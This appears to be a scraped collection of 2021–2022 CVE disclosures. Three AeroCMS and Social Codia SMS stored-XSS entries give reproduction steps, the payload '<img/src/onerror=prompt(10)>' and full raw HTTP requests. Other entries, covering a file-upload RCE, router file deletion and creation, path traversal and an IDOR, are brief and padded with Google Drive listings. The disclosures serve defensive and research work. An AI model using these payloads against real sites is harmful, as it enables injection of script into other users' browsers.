Musical World v1 was discovered to contain an arbitrary file upload vulnerability via uploaded_songs.php. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.

CVE-2022-27064: GitHub - D4rkP0w4r/Musical-World-Unrestricted-File-Upload-RCE-POC

AeroCMS v0.0.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability via view_all_comments.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Comments text field.

**AeroCMS-Comment-Stored\_XSS-POC**

*   `Note` => Don't need register or login account
*   `Description` => `Stored_XSS` at comment box

**Step to Reproduct**

*   Click `Read More` -> input payload `<img/src/onerror=prompt(10)>` at `Author` -> click `Submit` button

**Exploit****Vulnerable Code****POC**

*   `Injection Point`

comment\_author=%3Cimg%2Fsrc%2Fonerror%3Dprompt%2810%29%3E&comment\_email=bin%40gmail.com&comment\_content=hacked&create\_comment=

*   `Request`

POST /AeroCMS/post.php?p\_id=36 HTTP/1.1
Host: localhost:8080
Content-Length: 126
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/AeroCMS/post.php?p\_id=36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=loqbt1ibs376hge1s415srq441
Connection: close

comment\_author=%3Cimg%2Fsrc%2Fonerror%3Dprompt%2810%29%3E&comment\_email=bin%40gmail.com&comment\_content=hacked&create\_comment=

`POC VIDEO` https://drive.google.com/file/d/1GxOyX1JkG0trfdaCLfe06TR6WLIGoUXE/view?usp=sharing

CVE-2022-27063: GitHub - D4rkP0w4r/AeroCMS-Comment-Stored_XSS-Poc

Social Codia SMS v1 was discovered to contain a stored cross-site scripting (XSS) vulnerability via add_post.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Post Title text field.

**sms-Add\_Student-Stored\_XSS-POC**

Description => Stored\_XSS at `Add Student`

**Step to Reproduct**

*   Login to admin -> `Students` -> `Add Student` -> input payload `<img/src/onerror=prompt(10)>` at `Enter Name`

**Exploit**

![image](https://user-images.githubusercontent.com/79050415/158715096-7fe6c540-b7cb-4293-b60f-f0e16b6d445c.png)

**Vulnerable Code**

![image](https://user-images.githubusercontent.com/79050415/158716291-52718f20-b719-44ef-a9ca-21b00e82b2de.png)

*   When inserting into the database, the input is not filtered out bad characters

**POC**

*   `Injection Point`

\------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="name"

<img/src/onerror=prompt(10)>

*   `Request`

POST /sms/admin/addstudent.php HTTP/1.1
Host: localhost:8080
Content-Length: 992
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAvKt9LM2RnnkuA0K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/sms/admin/addstudent.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=p440fhd7svqid5f063i3epg29k
Connection: close

------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="image"; filename="car.png"
Content-Type: application/octet-stream


------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="rollno"

1234567
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="name"

<img/src/onerror=prompt(10)>
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="contact"

123456
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="standerd"

1
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="city"

Newyork
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="email"

haha@gmail.com
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="gender"

male
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="submit"

------WebKitFormBoundaryAvKt9LM2RnnkuA0K--

`POC VIDEO` https://drive.google.com/file/d/1PLRmIi7EBMAXkLMUhUy09PVph1CW6otF/view?usp=sharing

CVE-2022-27348: GitHub - D4rkP0w4r/sms-Add_Student-Stored_XSS-POC

AeroCMS v0.0.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability via add_post.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Post Title text field.

**AeroCMS-Add\_Posts-Stored\_XSS-Poc**

*   Description => Stored\_XSS at `Post Title`

**Step to Reproduct**

*   Login to admin panel -> `Posts` -> `Add Posts` -> `Post Title` -> inject payload `<img/src/onerror=prompt(10)>` -> The XSS will trigger when clicked `Edit Post` button

**Exploit**

![image](https://user-images.githubusercontent.com/79050415/156887124-fb539ece-2ad1-4ebd-9ce9-6fcfd688b36e.png) ![image](https://user-images.githubusercontent.com/79050415/156879926-c7009ae0-54b5-4b5c-a49f-6c693ce8f2e5.png)

**Vulnerable Code**

**POC**

*   `Injection Point`

\-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_title"

<img/src/onerror=prompt(10)>

*   `Request`

Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------85448121341942511952219062291
Content-Length: 1101
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/AeroCMS/admin/posts.php?source=edit\_post&p\_id=26
Cookie: Phpstorm-6b6ba5ee=79a50460-3b02-4cde-a5a4-ff6883c16a7b; PHPSESSID=ndh6ks953tmha1ps8cfp4bplf2
Upgrade-Insecure-Requests: 1

-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_title"

<img/src/onerror=prompt(10)>
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_category\_id"

1
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_user"

admin
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_status"

published
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_tags"

1
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_content"

<p>111</p>
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="update\_post"

Edit Post
-----------------------------85448121341942511952219062291\--

`POC VIDEO` https://drive.google.com/file/d/1kMGPBLKgefvKZj34QxDlPTxXdcT0kRR\_/view?usp=sharing

CVE-2022-27062: GitHub - D4rkP0w4r/AeroCMS-Add_Posts-Stored_XSS-Poc

jbd2_journal_wait_updates in fs/jbd2/transaction.c in the Linux kernel before 5.17.1 has a use-after-free caused by a transaction_t race condition.

CVE-2022-28796

An unauthorized file deletion vulnerability in Telesquare TLR-2855KS6 via DELETE method can allow deletion of system files and scripts.

Drive

Logga in

Drive

Namn

![](https://drive-thirdparty.googleusercontent.com/128/type/image/png)

![Image](https://drive-thirdparty.googleusercontent.com/16/type/image/png)

after\_exploitation.png

![](https://drive-thirdparty.googleusercontent.com/128/type/image/png)

![Image](https://drive-thirdparty.googleusercontent.com/16/type/image/png)

before\_exploitation.png

![](https://drive-thirdparty.googleusercontent.com/128/type/text/plain)

![Text](https://drive-thirdparty.googleusercontent.com/16/type/text/plain)

exploitation\_request.txt

![](https://drive-thirdparty.googleusercontent.com/128/type/image/png)

![Image](https://drive-thirdparty.googleusercontent.com/16/type/image/png)

exploitation.png

![](https://ssl.gstatic.com/docs/doclist/images/empty_state_empty_folder.png)

Inga filer i den här mappen.Logga in för att lägga till filer i den här mappen

CVE-2021-46419: Telesquare TLR-2855KS6 – Google Drive

An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.

Drive

Logga in

Drive

Namn

![](https://drive-thirdparty.googleusercontent.com/128/type/text/plain)

![Text](https://drive-thirdparty.googleusercontent.com/16/type/text/plain)

exploitation\_request.txt

![](https://drive-thirdparty.googleusercontent.com/128/type/image/png)

![Image](https://drive-thirdparty.googleusercontent.com/16/type/image/png)

exploitation.png

![](https://drive-thirdparty.googleusercontent.com/128/type/image/png)

![Image](https://drive-thirdparty.googleusercontent.com/16/type/image/png)

result.png

Inga filer i den här mappen.Logga in för att lägga till filer i den här mappen

CVE-2021-46418: TLR-2855KS6 – Google Drive

Insecure handling of a download function leads to disclosure of internal files due to path traversal with root privileges in Franklin Fueling Systems Colibri Controller Module 1.8.19.8580.

Drive

Logga in

Drive

Namn

![](https://drive-thirdparty.googleusercontent.com/128/type/text/plain)

![Text](https://drive-thirdparty.googleusercontent.com/16/type/text/plain)

Credits & Info.txt

![](https://drive-thirdparty.googleusercontent.com/128/type/text/plain)

![Text](https://drive-thirdparty.googleusercontent.com/16/type/text/plain)

exploitation.txt

![](https://drive-thirdparty.googleusercontent.com/128/type/image/png)

![Image](https://drive-thirdparty.googleusercontent.com/16/type/image/png)

PoC.png

![](https://ssl.gstatic.com/docs/doclist/images/empty_state_empty_folder.png)

Inga filer i den här mappen.Logga in för att lägga till filer i den här mappen

CVE-2021-46417: FFS Colibri – Google Drive

Insecure direct object reference in SUNNY TRIPOWER 5.0 Firmware version 3.10.16.R leads to unauthorized user groups accessing due to insecure cookie handling.

Drive

Logga in

Drive

Namn

![](https://drive-thirdparty.googleusercontent.com/128/type/image/png)

![Image](https://drive-thirdparty.googleusercontent.com/16/type/image/png)

After\_Exploitation.png

![](https://drive-thirdparty.googleusercontent.com/128/type/image/png)

![Image](https://drive-thirdparty.googleusercontent.com/16/type/image/png)

Before\_Exploit.png

![](https://drive-thirdparty.googleusercontent.com/128/type/text/plain)

![Text](https://drive-thirdparty.googleusercontent.com/16/type/text/plain)

Credits & Info.txt

![](https://drive-thirdparty.googleusercontent.com/128/type/text/plain)

![Text](https://drive-thirdparty.googleusercontent.com/16/type/text/plain)

exploitation.txt

![](https://drive-thirdparty.googleusercontent.com/128/type/video/mp4)

![Video](https://drive-thirdparty.googleusercontent.com/16/type/video/mp4)

PoC.mp4

![](https://ssl.gstatic.com/docs/doclist/images/empty_state_empty_folder.png)

Inga filer i den här mappen.Logga in för att lägga till filer i den här mappen

Tag

#google